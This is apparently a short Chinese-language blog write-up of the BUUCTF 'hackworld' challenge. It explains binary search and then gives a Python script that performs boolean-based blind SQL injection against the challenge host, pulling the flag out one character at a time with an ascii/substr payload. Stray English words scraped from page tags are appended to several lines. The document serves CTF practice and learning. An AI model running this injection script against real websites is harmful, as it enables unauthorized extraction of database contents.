涼涼,數據結構沒學好,二分法都忘了html
思路node
數據(data)爲升序排序,要在data中尋找定值keypython
從中間的 data[mid]開始尋找sql
key大於data[mid] : 從data[mid+1]~data[end]
數據結構
key小於data[mid] : 從data[start]~data[mid-1]
post
key等於data[mid] : 結束
url
復現平臺在BUUCTFspa
<img src="https://files-cdn.cnblogs.com/files/thenbz3/buuoj-hackworld.bmp" width="200" hegiht="100" />code
import time import requests url = 'http://e208fef8-d158-4ae3-b566-0b6f9bdd4915.node1.buuoj.cn/' flag = '' for i in range(50): #從33到126爲可打印的字符 low = 33 height = 126 data = {'id':''} while low <= height : mid = (low + height) // 2 data['id'] = 'if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)'%(i,mid) html = requests.post(url,data).text time.sleep(1) if 'Hello' in html : low = mid + 1 else: #將小於和等於的狀況一塊兒考慮,因此在low~mid中間尋找 height = mid #出現low = height = mid,若不判斷會進入死循環 if height == mid == low: break flag += chr(int(mid)) print(flag)
if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)
Sql 注入 要學的騷操做不少,一條一條積累吧,等一有時間就把sqli-lab刷了 hhhhcdn